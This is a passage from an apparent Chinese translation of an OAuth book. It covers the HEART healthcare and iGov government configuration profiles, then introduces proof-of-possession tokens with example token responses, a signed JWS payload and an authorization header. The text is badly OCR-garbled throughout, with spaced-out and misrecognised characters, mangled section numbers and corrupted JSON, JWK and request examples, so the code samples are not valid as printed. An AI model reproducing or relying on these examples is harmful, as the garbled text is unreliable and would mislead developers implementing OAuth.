如 本 书 所 展示 的 , 以 及 你 在 现实 世界 所 看 到 的 , OAuth 可 以 用 来 保护 各 种 协议 和 系统 ,但 是 ， 
它 的 高 度 灵 活性 和 可 选 性 导致 不 同 部 署 之 间 很 难保 证 互通 和 兼容 。 第 2 章 已 经 讨论 过 , 与 不 同 的 
API 和 服务 提供 商 打交道 时 这 不 会 有 问题 。 但 是 ， 如 果 你 工作 时 使 用 的 是 一 组 通用 的 API C 比如 
医疗 保健 领域 )， 制 定 一 套 经 过 筛选 的 优良 选项 和 明确 的 部 署 指导 会 更 有 益处 。 这 样 ， 分 别 来 自 
不 同 供应 商 的 客户 端 、 授 权 服 务 器 和 受 保 护 资源 相互 之 间 都 可 以 做 到 开 箱 即 用 。 

OpenID 基金 会 的 Health Relationship Trust ( HEART ) 工作 组 "成 立 于 2015 年 ， 致 力 于 满足 
电子 医疗 系统 社区 的 需求 。 工 作 组 的 目标 是 提供 适用 于 医疗 保健 应 用 场景 的 现 有 技术 标准 配置 规 
范 ， 同 时 尽 可 能 兼容 广泛 使 用 的 标准 。HEART 工作 组 建立 在 OAuth, OpenID Connect 和 UMA 
的 基础 上 。HEART 通过 限定 可 选 功能 并 制定 最 佳 实践 来 提升 安全 性 以 及 不 同 实现 之 间 的 互通 性 。 































































































14.2.1 HEART 的 重要 性 


HEART 配置 规范 是 第 一 个 在 特定 领域 中 用 于 提高 安全 性 和 互通 性 的 标准 ， 它 所 适用 的 领域 
是 医疗 保健 领域 。 随 着 越 来 越 多 的 行业 转向 API 优 先 的 生态 系统 , 这 种 类 型 的 配置 规范 会 越 来 越 
普遍 。 在 将 来 ， 它 们 除了 要 能 正确 实现 OAuth 之 外 ， 可 能 还 需要 确保 “符合 HEART". 

与 过 去 许多 医疗 保健 数字 化 的 尝试 相 比 , HEART 明确 地 将 决策 能 力 和 控制 权 交 给 最 终 用 户 ， 
也 就 是 患者 及 医疗 保健 提供 者 。HEART 并 没有 和 集中 管理 数据 、 控 制 和 安全 决策 ， 而 是 根据 数据 
生产 者 和 消费 者 的 要 求 , 构建 了 一 个 数据 分 发 和 连接 的 安全 环境 。 患者 能 够 使 用 自己 的 应 用 连接 
到 他 们 的 健康 档案 ,而 不 管 医 疗 保健 提供 者 和 应 用 开发 人 员 是 否 相 互 认 识 。 由 于 健康 数据 非常 私 
密 且 敏感 ， 安 全 性 至 关 重 要 。 

为 了 实现 这 一 目标 ，HEART 定义 了 一 组 技术 性 配置 规范 ， 提 高 了 OAuth 生态 系统 中 各 组 件 
之 间 安 全 性 和 互通 性 的 基准 。 这 些 配 置 规范 是 由 应 用 场景 和 需求 驱动 的 , 可 能 会 对 所 有 阅读 本 书 
的 OAuth 学 习 者 有 启发 意义 。 如 果 你 从 事 医疗 信息 技术 工作 , 那么 你 应 该 密切 关注 这 一 配置 规范 。 


































































































(D 本 书 作者 之 一 是 该 工作 组 的 创始 成 员 。 
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14.2.2 HEART 规范 


一 套 规范 定义 了 HEART 生态 系统 ， 其 中 每 个 规范 涵盖 技术 栈 的 不 同 部 分 。 这 些 规 范 是 它们 
所 描述 的 协议 的 一 致 性 子 集 , 这 意味 着 它们 不 会 允许 或 要 求 不 符合 底层 协议 的 内 容 , 但 在 许多 情 
况 下 ,它们 会 强制 要 求 一 些 可 选 的 组 件 , 或 者 以 兼容 形式 在 已 有 的 扩展 点 添加 新 的 功能 。 换 句 话 
说 ， 符 合 HEART 标准 的 OAuth 客户 端 也 是 完全 符合 OAuth 标准 的 ， 但 一 般 的 OAuth 客户 端 可 
能 不 支持 HEART 所 要 求 的 所 有 功能 和 选项 。 

本 书 的 许多 读者 很 可 能 永远 不 会 调用 或 部 署 与 医疗 保健 相关 的 API。 因 此 你 可 能 会 想 :“ 那 
为 什么 要 了 解 它 ? ”此 处 有 两 个 想法 是 可 以 借鉴 的 。 首 先 ，HEART 将 标准 API 和 安全 技术 整合 
在 一 起 , 无 论 怎样 的 源码 实现 , 它们 都 是 开 箱 即 用 的 。 无 论 在 哪个 领域 , 这 都 是 一 个 重要 的 模式 。 
其 次 ，HEART 中 采取 的 许多 配置 决策 在 医疗 之 外 的 领域 也 很 有 用 。 

为 了 在 这 一 点 上 找到 平衡 ，HEART 的 规则 制定 基于 两 个 不 同 的 维度 : 机 制 和 语义 。 这 种 分 
割 是 为 了 让 HEART 既 不 局 限 在 医疗 保健 领域 ， 又 保证 在 该 领域 内 直接 适用 。 后 面 将 介绍 这 两 个 
维度 以 及 相关 的 规范 。 


14.2.3 HEART 机 制 维度 的 配置 规范 


HEART 机 制 维度 的 3 个 配置 规范 分 别 建 立 在 OAuth, OpenID Connect 和 UMA 之 上 。 它 们 
并 不 是 某 种 API 特 有 的 , 并 且 不 只 是 医疗 保健 领域 专用 的 。 因此 ,这些 配 置 规范 可 用 于 各 种 对 安 
全 性 和 互通 性 有 更 高 要 求 的 环境 。 机制 维度 的 配置 规范 之 间 也 存在 依赖 关系 , 与 它们 所 配置 的 协 
议 一 样 : OpenID Connect 配置 规范 直接 继承 OAuth 配置 规范 ，UMA 配置 规范 则 同时 继承 OAuth 
配置 规范 和 OpenID Connect 配置 规范 。 

HEART 的 OAuth 配置 规范 与 核心 OAuth 有 几 个 不 同 之 处 。 首 先 ， 因 为 该 配置 规范 不 需要 像 
OAuth 本 身 那样 适用 于 广泛 的 使 用 场景 ， 所 以 它 可 以 明确 规定 哪 种 类 型 的 客户 端 应 该 使 用 哪 种 
OAuth 授权 许可 。 例 如， 只 允许 浏览 器 内 的 客户 端 使 用 隐 式 授权 许可 ,而 只 允许 处 理 批 量 操作 的 
后 端 信道 服务 器 应 用 使 用 客户 端 凭 据 授权 许可 。HEART 明确 禁止 使 用 客户 端 密 钥 ， 而 要 求 所 有 
客户 端 (无 论 哪 种 许可 类 型 ) 向 授权 服务 器 注册 公 钥 ， 用 于 客户 端 向 令 牌 端点 进行 身份 认证 (使 
用 授权 码 或 客户 端 凭据 授权 许可 类 型 )， 而 且 也 可 用 于 其 他 协议 。 这 些 规 定 提 高 了 整个 生态 系统 
的 安全 性 基准 ， 代 价 是 各 方 的 复杂 性 都 略 有 增加 。 然 而 ， 密 钥 及 其 用 法 并 非 是 HEART 独 有 的 : 
密 钥 格 式 是 JOSE 的 JWK (参见 第 11 章 )， 基 于 JWT 的 身份 认证 则 由 OpenID Connect X (2 
见 第 13 章 )。 

HEART 还 要 求 OAuth 授权 服务 器 支持 令 牌 内 省 和 令 牌 撤回 (参见 第 11 章 )， 并 且 要 提供 标 
准 的 服务 发 现 端点 (基于 第 13 章 提供 的 那个 ) HEART 的 OAuth 授权 服务 器 颁发 的 所 有 令 牌 必 
须 是 经 过 非 对 称 签名 的 JWT ( 参见 第 11 章 )， 并 且 要 包含 配置 规范 所 要 求 的 声明 和 生命 周期 。 
HEART 配置 规范 还 要 求 授权 服务 器 提供 客户 端 动态 注册 功能 ， 当 然 ， 仍 然 可 以 手动 或 使 用 软件 
声明 注册 客户 端 , 这 让 客户 端 和 受 保护 资源 可 以 利用 各 种 实现 中 的 核心 功能 , 保证 了 真正 开 箱 即 
用 的 互通 性 。 
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HEART 要 求 OAuth 客户 端 始 终 使 用 具有 最 低 信息 科 的 state 参数 , 这 可 以 让 大 量 的 会 话 固 
定 攻 击 (参见 第 7 章 ) 立马 失效 。 它 还 要 求 客户 端 注册 完整 的 重 定向 URI， 在 授权 服务 器 上 会 使 
用 精确 字符 串 匹配 对 其 进行 比较 (参见 第 9 章 )。 这 些 要 求 构建 了 提高 安全 性 的 最 佳 实践 ， 并 为 
开发 人 员 提 供 了 一 些 便利 功能 。 

HEART 的 OpenID Connect 配 置 规范 继承 了 OAuth 配置 规范 的 所 有 要 求 和 功能 ， 这 样 就 能 
以 很 小 的 增 量 在 OAuth 的 基础 上 实现 OpenID Connect。 此 外 , 该 配置 规范 要 求 身 份 提供 者 (IdP ) 
始终 对 ID 令 牌 进行 不 对 称 签名 ， 并 且 让 UserInfo 端点 输出 经 过 不 对 称 签名 的 JWT ( 默认 的 
OpenID Connect 输出 的 是 未 签名 的 JSON )。 由 于 所 有 客户 端 都 需要 注册 自己 的 密 钥 ，IdP 还 需 
要 为 这 些 JWT 提供 可 选 的 加 密 。IdP 必须 能 够 接收 OpenID Connect 请 求 ， 并 使 用 客户 端的 密 铀 
来 验证 请 求 。 

HEART 的 UMA 配 置 规范 在 继承 其 他 两 个 机 制 配置 规范 的 同时 ,从 UMA 可 能 的 扩展 点 中 选 
取 了 特定 组 件 。 比 如 ， 所 有 RPT PAT 都 继承 了 HEART 对 OAuth 访问 令 牌 的 要 求 ， 因 此 应 该 
都 是 签名 的 JWT， 也 支持 令 牌 内 省 。 授 权 服 务 需 需要 使 用 交互 式 OpenID Connect 登录 来 支持 请 
求 方 声 明 的 收集 , 登录 本 身 符合 HEART 的 OpenID Connect 配置 规范 。 除 了 动态 客户 端 注 册 之 外 ， 
HEART 配置 规范 还 要 求 授 权 服 务 器 支持 动态 资源 注册 。 







































































14.2.4 HEART 语义 维度 的 配置 规范 


HEART 的 两 个 语义 配置 规范 是 医疗 保健 领域 专用 的 ， 专 注 于 快速 医疗 保健 共享 资源 规范 
( fast healthcare interoperable resource，FHIR ) 的 使 用 。FHIR 定义 了 用 于 共享 医疗 数据 的 RESTful 
API，HEART 的 语义 配置 规范 的 目标 是 以 可 预测 的 方式 对 它 进 行 保护 。 

HEART 中 对 应 FHIR 的 OAuth 配置 规范 定义 了 一 组 标准 的 权限 范围 ， 用 于 对 FHIR 资源 进 
行 差异 化 访问 。HEART 配置 规范 按照 资源 类 型 和 一 般 访问 目标 划分 权限 范围 。 这 让 受 保护 资源 
能 够 以 可 预测 的 方式 确定 访问 令 牌 对 应 的 权限 ， 并 将 权限 值 清 晰 地 映射 到 医疗 档案 信息 。 

HEART 中 对 应 FHIR 的 UMA 配置 规范 定义 了 一 组 标准 的 声明 和 权限 范围 , 可 用 于 不 同类 型 
的 FHIR 资源 。 这 些 权限 范围 专用 于 指导 特定 资源 的 策略 引擎 如 何 执 行 。 HEART 还 为 用 户 、 组 
织 和 软件 定义 了 非常 详细 的 专用 声明 , 以 及 如 何 使 用 这 些 声 明 去 请 求 和 授予 对 受 保 护 资源 的 访问 
权限 。 















































14.3 iGov 


与 HEART 为 医疗 保健 领域 的 安全 协议 提供 配置 规范 一 样 ，OpenID 基金 会 的 International 
Government Assurance ( iGov ) 工作 组 "试图 定义 一 套用 于 政府 系统 的 配置 规范 。iGov 重点 关注 的 
是 如 何 让 市 民 和 雇员 使 用 联合 身份 系统 ( 比如 OpenID Connect ) 与 政府 系统 交互 。 






































(D 本 书 作者 之 一 就 是 该 工作 组 的 创始 成 员 。 世 界 太 小 了 ， 是 吧 ? 
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14.3.4 iGov 的 重要 性 


iGov 配置 规范 将 以 OpenID Connect 为 基础 ， 当 然 ， 后 者 以 OAuth 为 基础 。 这 些 配 置 规范 所 
制定 的 规则 将 影响 大 量 政府 系统 , 以 及 通过 这 些 标准 协议 与 它们 相连 的 系统 。 政 府 采 用 新 技术 的 
速度 一 贯 缓慢 ， 落 后 于 行业 ; 政府 机 构 庞大 , 不 愿意 做 改变 和 承担 风险 。 这 使 得 一 旦 某 种 技术 被 
引入 政府 系统 中 ， 它 很 可 能 会 持续 存在 相当 长 的 时 间 。 甚 至 很 可 能 若干 年 后 ， 当 OAuth 2.0 对 于 
大 多 数 互 联网 公司 来 说 已 成 为 遥远 的 记忆 ， 我 们 都 淡忘 了 JSON 和 REST 曾经 的 辉煌 时 ， 政 府 系 
统 依然 在 使 用 它 ， 并 要 求 接口 适 配 和 维护 。 

Ej HEART 一 样 , iGov 的 核心 组 件 也 计划 要 普遍 适用 于 政府 以 外 的 领域 。 实际 上 , iGov 工作 
组 采用 了 HEART 中 的 OAuth 和 OpenID Connect 的 机 制 规范 作为 其 基础 。 这 样 , 非 政 府 系统 可 能 
会 开始 提供 适 配 HEART 和 iGov 的 功能 ， 因 为 这 可 以 让 它们 既 能 与 这 些 约束 性 配置 规范 交互 ， 
又 能 与 其 他 一 般 的 OAuth 生态 系统 交互 。 将 来 你 自己 的 系统 可 能 需要 满足 这 些 要 求 ， 或 者 基于 
此 制定 的 其 他 类 似 的 配置 规范 。 























14.8.2 iGov 展望 


本 书 出 版 时 ，iGov 工作 组 才刚 刚 组 建 ， 但 己 有 来 自 世 界 各 地 政府 的 关键 利益 相关 方 参与 其 
中 。 关 于 iGov 还 存在 很 多 未 知性 ， 包 括 是 否 能 成 功 构 建 ， 以 及 是 否 会 被 广泛 采用 。 然 而 ， 基 于 
以 上 原因 ， 它 将 是 一 个 值得 关注 的 重要 领域 ， 而 且 作为 OAuth 的 实践 者 ， 你 也 可 以 从 这 项 工作 
中 学 有 所 得 。 如 果 你 在 政府 或 者 公民 身份 信息 领域 工作 ， 建 议 你 参与 到 这 项 工作 中 来 。 


14.4 ”小 结 


OAuth 为 构建 新 协议 提供 了 良好 的 基础 。 

口 UMA 可 以 将 资源 服务 器 和 授权 服务 器 以 高 度 动态 和 用 户 驱 动 的 方式 跨 安全 域 一 起 引入 。 
O UMA 为 OAuth 之 舞 增添 了 新 成 员 , 即 请 求 方 , 让 真正 的 用 户 对 用 户 的 共享 和 授权 得 以 实现 。 
O HEART 将 基于 OAuth 的 多 个 开放 标准 应 用 于 医疗 保健 领域 ， 并 为 它们 制定 了 配置 规范 ， 
以 提高 安全 性 和 互通 性 。 

O HEART 定义 了 机 制 维度 和 语义 维度 的 配置 规范 ， 其 中 的 经 验 可 以 广泛 应 用 到 医疗 保健 之 




































































外 的 领域 。 
O iGov 虽然 还 处 于 开发 初期 阶段 ， 但 它 将 为 政府 身份 信息 系统 定义 一 套 配置 规范 ， 可 能 产 
生 深 远 影响 。 




















我 们 已 经 能 够 用 OAuth 和 简单 的 bearer 令 牌 做 很 多 事情 , 但 是 , 还 有 没有 其 他 选择 呢 ? 下 一 
章 将 介绍 拥有 证 明 (proof of possession ) 令 牌 ， 这 项 工作 正 处 于 发 展 阶段 。 








bearer 令 脾 以 外 的 选择 








本 章 内 容 

O 为 什么 OAuth bearer 令 牌 不 能 适用 于 所 有 场景 
口 OAuth 拥有 证 明 (PoP) 令 牌 类 型 提案 

口 安全 传输 层 令 牌 绑 定 方法 提案 








OAuth 协议 为 不 同 的 应 用 和 API 提供 强 大 的 授权 机 制 , 它 的 核心 是 OAuth 令 牌 。 到 目前 为 止 ， 
本 书 中 所 使 用 的 令 牌 都 是 bearer 令 牌 。 第 10 章 已 经 介绍 过 ， 任 何人 只 要 携带 或 者 持 有 bearer 令 
牌 ， 都 可 以 使 用 它 。 这 种 有 意 的 设计 被 应 用 于 许多 系统 ，bearer 令 牌 无 疑 是 OAuth 系统 中 最 常用 
的 令 牌 类 型 。 除 了 用 起 来 简单 以 外 ，bearer 令 牌 的 流行 还 有 一 个 简单 的 原因 : 在 本 书 出 版 之 际 ， 
它 是 标准 规范 中 定义 的 唯一 一 种 令 牌 类 型 。 

然而 , 目前 已 经 开展 了 一 些 旨 在 设计 bearer 以 外 的 令 牌 类 型 的 工作 。 从 本 书 出 版 之 后 到 这 些 
规范 定稿 ， 它 们 的 实现 细节 肯定 还 会 发 生变 化 。 





















































注意 本 章 讨论 的 概念 所 反映 的 是 社区 当前 的 思路 ， 很 可 能 与 有 关 规 范 的 最 终结 果 不 一 致 。 请 
有 所 保留 地 阅读 本 章 ， 其 内 容 很 可 能 会 因为 所 引用 规范 的 进一步 发 展 而 过 时 。 


在 此 介绍 的 内 容 至 少 在 一 定 程度 上 代表 OAuth 协议 当前 的 发 展 方向 ， 因 此 ， 请 花 一 些 时 间 
来 探寻 一 下 未 来 。 


15.1 为 什么 不 能 满足 于 bearer 令 牌 


bearer 令 牌 非 常 简单 ， 不 需要 客户 端 额外 处 理 或 理解 。 回 顾 第 1 章 和 第 2 章 ，OAuth 2.0 Eit 
计 上 尽 可 能 地 减少 了 客户 端的 复杂 性 。 使 用 时 ,客户 端 只 需 从 授权 服务 器 接收 令 牌 ， 然 后 将 该 令 
牌 完全 按 原 样 出 示 给 受 保护 资源 。 不 论 如 何 ， 就 客户 端 而 言 ，bearer 令 牌 只 不 过 是 颁发 给 客户 端 
的 用 于 访问 特定 资源 的 密码 。 

在 许多 情况 下 ,我 们 并 不 满足 于 此 。 我 们 还 希望 客户 端 能 够 证 明 其 拥有 某 种 秘密 信息 ,并 且 
它 不 必 经 过 网 络 传递 。 这 样 就 可 以 确保 即使 请 求 在 传输 途中 被 截获 , 攻击 者 也 无 法 重用 其 中 的 令 
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牌 ， 因 为 他 无 法 访问 那个 秘密 信息 。 
本 章 将 讨论 两 个 主要 方法 : 拥有 证 明 (Po) 令 牌 和 安全 传输 层 ( TLS ) 令 牌 绑 定 。 这 两 种 
方法 都 有 各 自 的 属性 。 




















15.2 PoP Shë 


互联 网 工程 任务 组 (IETF ) 中 的 OAuth 工作 组 已 经 开始 设计 另 一 种 令 牌 的 形式 ， 叫 作 PoP 
(proofofpossession， 拥 有 证 明 ) 令 牌 。 与 bearer 令 牌 这 样 的 自 包含 密 钥 不 同 ，PoP 令 牌 由 两 部 分 
组 成 : 令 牌 和 密 钥 ( 如 图 15-1 所 示 )。 使 用 PoP 令 牌 时 ， 客 户 端 除 了 要 出 示 令 牌 本 身 之 外 ,还 需 
要 证 明 它 拥有 密 钥 。 令 牌 需要 在 请 求 中 通过 网 络 发 送 ， 但 密 钥 无 须发 送 。 




























































































图 15-1. OAuth PoP 令 牌 的 两 个 部 分 





其 中 的 令 牌 部 分 与 bearer 令 牌 在 多 方面 是 相似 的 。 客 户 端 不 知道 也 不 关心 令 牌 的 内 容 ， 只 知 
道 该 令 牌 代表 对 一 个 受 保护 资源 的 访问 授权 。 与 之 前 一 样 , 客户 端 需要 将 令 牌 的 这 部 分 按 原 样 发 
送出 去 。 

令 牌 的 密 钥 部 分 用 于 生成 通过 HTTP 请 求 发 送 的 加 密 签名 。 客户 端 将 请 求 发 送 给 受 保护 资源 
之 前 ,对 其 中 的 一 部 分 内 容 进行 签名 ,然后 放 入 请 求 一 起 发 送 ， 此 处 所 使 用 的 就 是 该 密 钥 。 对 于 
H, PoP 系统 使 用 JSON Web 密 钥 (JWK ) 将 其 编码 。JWK 来 自 JOSE 规范 套件 , 在 第 11 章 介 
绍 过 。 它 支持 对 称 类 型 和 非 对 称 类 型 的 密 钥 ， 并 且 加 密 方法 灵活 。 

与 bearer 令 牌 一 样 , PoP 的 流程 中 也 有 几 个 不 同 选项 。 首先 , 需要 获取 令 牌 ( 如 图 15-2 所 示 )， 
然后 使 用 令 牌 (如 图 15-3 所 示 )。 
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授权 服务 器 生成 密 
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由 授权 服务 器 生成 





客户 端 将 令 牌 以 及 对 
应 的 密 钥 保存 ， 用 于 
访问 受 保护 资源 





图 15-2 获取 OAuth PoP 令 牌 (以 及 对 应 的 密 钥 ) 
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图 15-3 ”使 用 并 验证 OAuth PoP 令 牌 (以 及 对 应 的 密 钥 ) 
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现在 ， 更 详细 地 介绍 一 下 该 过 程 的 主要 步骤 。 


15.2.1 PoP 令 牌 的 请 求 与 颁发 


要 颁发 PoP 令 牌 , 授权 服务 咒 需 要 知道 与 令 牌 关联 的 密 钥 。 根 据 客 户 端 类 型 或 者 整个 部 署 环 
境 的 类 型 ， 密 钥 既 可 以 由 客户 端 提供 ， 也 可 以 由 授权 服务 器 生成 (如 表 15-1 所 示 )。 


表 15-1 与 PoP 令 牌 绑 定 的 密 钥 的 类 型 






































































































































提 供 者 
客 户 端 服 务 器 
一 般 不 建议 使 用 此 类 型 ， 因 为 客户 端 有 可 能 使 用 弱 密 钥 。 | 适用 于 受 限 的 客户 端 或 者 无 法 生成 
z 对 称 | 但 对 于 拥有 可 信 平 台 模 块 或 者 其 他 机 制 ， 能 够 生成 真正 安 | 安全 密 钥 的 客户 端 
x 全 的 共享 密 钥 的 客户 端 ， 使 用 此 类 型 是 可 行 的 
dd 非 对 称 | 适用 于 能 够 生成 安全 密 钥 的 客户 端 ， 能 最 小 化 客户 端 私 钥 | 适用 于 无 法 生成 安全 密 钥 的 客户 端 
的 暴露 面 ;客户 端 只 注册 公 钥 ， 服 务 器 也 只 返回 公 钥 由 服务 器 生成 和 返回 密 钥 对 















































本 例 中 , 由 授权 服务 器 生成 一 个 非 对 称 密 钥 对 供 客 户 端 使 用 。 客 户 端 向 令 牌 端点 发 送 的 请 求 
与 之 前 是 一 样 的 ,响应 中 的 access_token 字段 与 使 用 bearer 令 牌 时 是 一 样 的 ,但 是 token_type 
字段 的 值 变 成 了 PoP， 而 且 包 含 一 个 access token key 字段 ， 用 于 存放 密 钥 。 


{ 
"access token": "8uyhgt6789049dafsdf234g3", 























"token type": "PoP", 
"access token key": ( 
"d": "RE8jjNu7p. fGUcY-aYzeWiQOnzsTgISst6NA41jgUALSQmpDDlkziPO2dHcYLgZM28Hs8y 


ORXayDAdkv-qNJsXegJ8MlNuiv70GgRGTOecQqlHFbufTVsEA480kkdD-zhdHy9-P9cyDzp 
bEFBOeBtUNX6WxDb3rO-ccXo3M63JZEFSULzkLihz9UUWlyYa4zWu7Nn229UrpPUC7PU7FS 
g4j45BZJ, -mqRZ7gXJOl1ObfPSMI79F1vMw2PpG6LOeHM9JWseSPwgEeiUWYIYly7tUuNo5 
dsuAVboWCiONOACgK7FByZH7CA7etPZ6aek4N6Cgvs3u3C2sfUrZl1GySdAZisQBAQ", 

"i: "AOQAB", 

": "XaH4cltdl yLhbmSVB6l- W3Ei4wGFyMK sPzn6glTwaGuE5, mEohdElgTONsSnw7up 
NUx8kJnDuxNFcGVlua6cA5y88TB-27Q9IaeXPSKxSSDUv8nllt c6JnjJf8SbzLmVqosJ- 
alu ZCY810w1LIrnOeaFAe2-m9XVzOniR5XHxfAlhngoydqCW7NCgr2K8sXuxFp5lK5s-t 
kCsi2CnEfBMCOOLJE8iSjTEPdjoJKSNro Q-pWWJDP74h41KILA4yryggdFd-8gi-E6uHEw 
yKYi57cR8uLtspN5sU4110sQX7Z00tb0pmEMbWyrs5BR3RY8ewajL8SN5UyAOP1XQ", 
Ukty'z "RSA", 

"kid": "LCk-11234" 


Bo 


hs 
"alg": "RS256" 

} 

此 处 的 JWK 是 一 个 RSA 密 钥 对 (参见 第 11 章 )， 客 户 端 在 下 一 个 步骤 可 以 使 用 它 对 请 求 签 
名 。 因 为 这 是 一 个 RSA 密 钥 ， 所 以 在 生成 密 钥 对 之 后 只 需要 存储 它 的 公 钥 部 分 ， 避 免 在 授权 服 
务 器 遭受 攻击 时 私 钥 材料 泄露 。 

本 例 中 ， 访 问 令 牌 本 身 是 一 个 随机 字符 串 ， 不 过 使 用 JWT 也 很 容易 (参见 第 11 章 )。 重 要 
的 是 ， 令 牌 保 持 对 客户 端 不 透明 ， 到 目前 为 止 在 我 们 的 所 有 讨论 中 都 是 如 此 。 
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15.2.2 ”在 受 保护 资源 上 使 用 PoP 令 牌 


现在 ,客户 端 拥有 了 令 牌 和 密 钥 ,需要 将 它们 以 某 种 方式 发 送 给 受 保护 资源 , 使 其 能 够 验证 
令 牌 对 应 的 密 钥 是 受 客 户 端 控制 的 。 

为 此 ， 客 户 端 要 生成 一 个 至 少 包 含 访 问 令 牌 的 JSON 对 象 。 作 为 可 选项 ， 客 户 端 还 可 以 对 
HTTP 消息 的 一 部 分 进行 散 列 ， 在 信道 保护 的 基础 上 为 请 求 提 供 单 消息 级 别 的 完整 性 保护 。 这 些 
细节 已 在 OAuth 工作 组 的 草案 文档 中 列 出 ， 请 你 自行 查阅 。 在 这 个 简单 示例 中 ， 我 们 还 会 添加 
一 个 时 间 戳 ,保护 HTTP 方法 和 主机 。 


( 




















"at": "8uyhgt6789049dafsdf234g3", 
"ts": 3165383, 
"Htbp'- d syt"UPOSTN "atc locahosti9002" Jy 


} 


然后 , 客户 端 将 此 JSON 对 象 作 为 JWS 的 载荷 , 使 用 令 牌 对 应 的 密 钥 进行 签名 。 生 成 的 JWS 
对 象 如 下 所 示 。 
eyJhbGciOiJSUzZIl1NiJ9.eyJhdCI6ICI4dXl10Z3Q2NzZzg5MDO5ZGFmC2RMMjMOZZMiLCJOcyI6IDMx 
NjUzODMsImhOdHAiOnsidil6IIlBPUT1QiLCJ1IjoibG9jYWhvc3Q6OTAwMiJ9fQo.m2Na5CCbytO0 
bvmiWIgWB yJ5ETsmrB5uB hMu7a, bWqn8UOoLZxadN8s9joIgfzVO9v1757DvMPFDiE2XWwimrf 
IKn6Epqjb5xPXxqcSJEYoJ1bkbIPl1UQpHy8VRpvMcM1JB3LzpLUfe6zhPBxnnO4axKgcQE8SlgX 
GvGAsSPqcct92Xb76G04q3cDnEx hxXO8XnUl2pniKW2C2vY4b5Yyqu-mrXb6r2FAYkTkrkHHGoF 


H4w6phIRv3Ku8Gm1 MwhilDAKPz3 1rRVP jkID9RA4osKZOeBRCOSVEW3MOPqcEL2OXRrLh Yjj9 
XMdXo8ayjz 6BaRIOVUW3RDuWHP9Dmg 


接着 ， 客 户 端 将 此 JWS 对 象 作为 请 求 的 一 部 分 发 送 给 受 保护 资源 。 和 使 用 bearer 令 牌 一 样 ， 
可 以 使 用 查询 参数 、 表 单 参 数 或 者 HTTP 的 authorization 头 部 来 发 送 JWS, 最 后 一 个 示例 是 
最 灵活 也 是 最 安全 的 ， 如 下 所 示 。 

HTTP POST /foo 


Host: example.org 
Authorization: PoP eyJhbGciOiJSUzI1NiJ9.eyJhdCI6ICIA4dX10Z23Q2Nzg5MDQ5... 


请 注意 , 客户 端 不 需要 对 令 牌 本 身 进 行 任何 处 理 , 也 不 需要 理解 访问 令 牌 的 格式 和 内 容 即 可 
完成 这 一 步骤 。 和 使 用 bearer 令 牌 一 样 ， 访 问 令 牌 仍然 对 客户 端 不 透明 。 唯 一 的 区 别 是 客户 端 向 
受 保护 资源 出 示 令 有 牌 的 方式 ， 使 用 了 对 应 的 密 钥 作 为 证 明 。 












































15.2.83 ”验证 PoP 令 牌 请 求 


受 保护 资源 收 到 的 PoP 请 求 与 之 前 收 到 的 请 求 一 样 。 使 用 任何 JOSE 库 都 可 以 轻松 地 解析 这 
个 PoP 请 求 ,得 到 载荷 ， 进 而 得 到 访问 令 牌 。 根 据 令 牌 对 应 的 权限 范围 以 及 同意 授权 的 资源 拥有 
者 来 确定 访问 令 牌 是 否 适用 , 我们 可 以 选用 的 方法 与 使 用 bearer 令 牌 时 一 样 。 也 就 是 说 , 可 以 使 
用 本 地 数据 库 查询 、 解 析 结 构 化 的 访问 令 牌 本 身 ,或 者 使 用 例如 令 牌 内 省 (参见 第 11 章 ) 这 样 
的 服务 来 查询 。 除 了 一 个 关键 的 区 别 ， 这 些 方 法 都 或 多 或 少 与 bearer 令 牌 所 使 用 的 方法 相似 。 
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虽然 仍 需要 确保 令 牌 是 由 授权 服务 器 颁发 的 , 但 还 需要 确认 的 是 发 送 请 求 的 客户 端 持 有 令 牌 
所 对 应 的 密 钥 。 因 此 , 不 仅 要 在 受 保护 资源 上 验证 令 牌 ， 还 要 验证 该 PoP 请 求 的 签名 。 为 此 ， 需 
要 访问 令 牌 对 应 的 密 钥 。 与 验证 令 牌 一 样 ,查找 密 钥 也 有 几 种 方法 可 用 ， 而 且 与 查找 令 牌 所 用 的 
方法 相似 。 授 权 服务 器 可 以 将 令 牌 和 密 钥 都 存储 在 一 个 共享 数据 库 中 ， 并 人 允许 受 保护 资源 访问 。 
这 是 OAuth 1.0 所 使 用 的 通用 方法 ， 它 的 令 牌 具有 公共 部 分 和 密 钥 部 分 。 还 可 以 使 用 JOSE 将 密 
钥 封装 在 令 牌 内 ， 甚 至 可 以 对 密 钥 进行 加 密 ， 使 得 只 有 特定 的 受 保护 资源 才能 接受 特定 的 令 牌 。 
最 后 ,可 以 使 用 令 牌 内 省 ， 向 授权 服务 器 请 求 令 牌 对 应 的 密 钥 。 得 到 密 钥 之 后 ， 就 可 以 使 用 它 验 
证 请 求 的 签名 。 

受 保护 资源 会 根据 客户 端 所 使 用 的 密 钥 类 型 以 及 签名 方法 来 执行 相应 的 JWS 签名 验证 。 受 
保护 资源 可 以 检查 被 签名 对 象 中 的 host、port、patn UK method, 如果 存 在 , 需要 与 客户 端 
的 请 求 进行 比 对 。 如 果 HTTP 消息 中 存在 经 过 散 列 计算 的 部 分 ( 比如 查询 参数 或 头 部 )， 那 么 受 
保护 资源 还 要 计算 它们 的 散 列 值 ， 并 与 TWS 载荷 中 的 散 列 值 对 比 。 

此 时 , 受 保护 资源 知道 发 送 请 求 的 客户 端 不 仅 持 有 访问 令 牌 , 还 拥有 对 应 的 签名 密 钥 。 这 种 
机 制 让 OAuth 客户 端 无 须 通 过 网 络 向 受 保护 资源 发 送 密 钥 就 可 以 证 明 其 拥有 密 钥 。 这 样 ， 在 由 
客户 端 自 行 生 成 密 钥 对 的 情况 下 , 授权 服务 器 就 根本 不 会 看 到 私 钥 , 从 而 最 大 限度 地 降低 了 私 钥 
言 息 在 网 络 上 传播 的 可 能 性 。 
















































































15.3 PoP 令 牌 实现 


现在 ,沿用 本 书 前 面 使 用 的 代码 框架 ， 为 我 们 的 OAuth 生态 系统 提供 PoP 令 牌 支持 。 需 要 
注意 的 是 , 由 于 规范 还 未 稳定 , 因此 不 能 保证 练习 中 的 代码 与 AOuth PoP 令 牌 的 最 终 规 范 相 吻合 。 
但 我 们 认为 本 练习 有 助 于 以 实践 的 方式 展示 该 系统 的 工作 原理 。 

按照 规划 ， 客 户 端 会 以 惯用 的 方式 请 求 OAuth 令 牌 。 授 权 服 务 器 会 生成 一 个 随机 值 令 牌 和 
一 个 与 之 对 应 的 密 钥 对 ， 此 密 钥 对 也 会 被 传递 给 客户 端 。 授 权 服务 器 会 将 此 密 钥 对 的 公 钥 部 分 、 
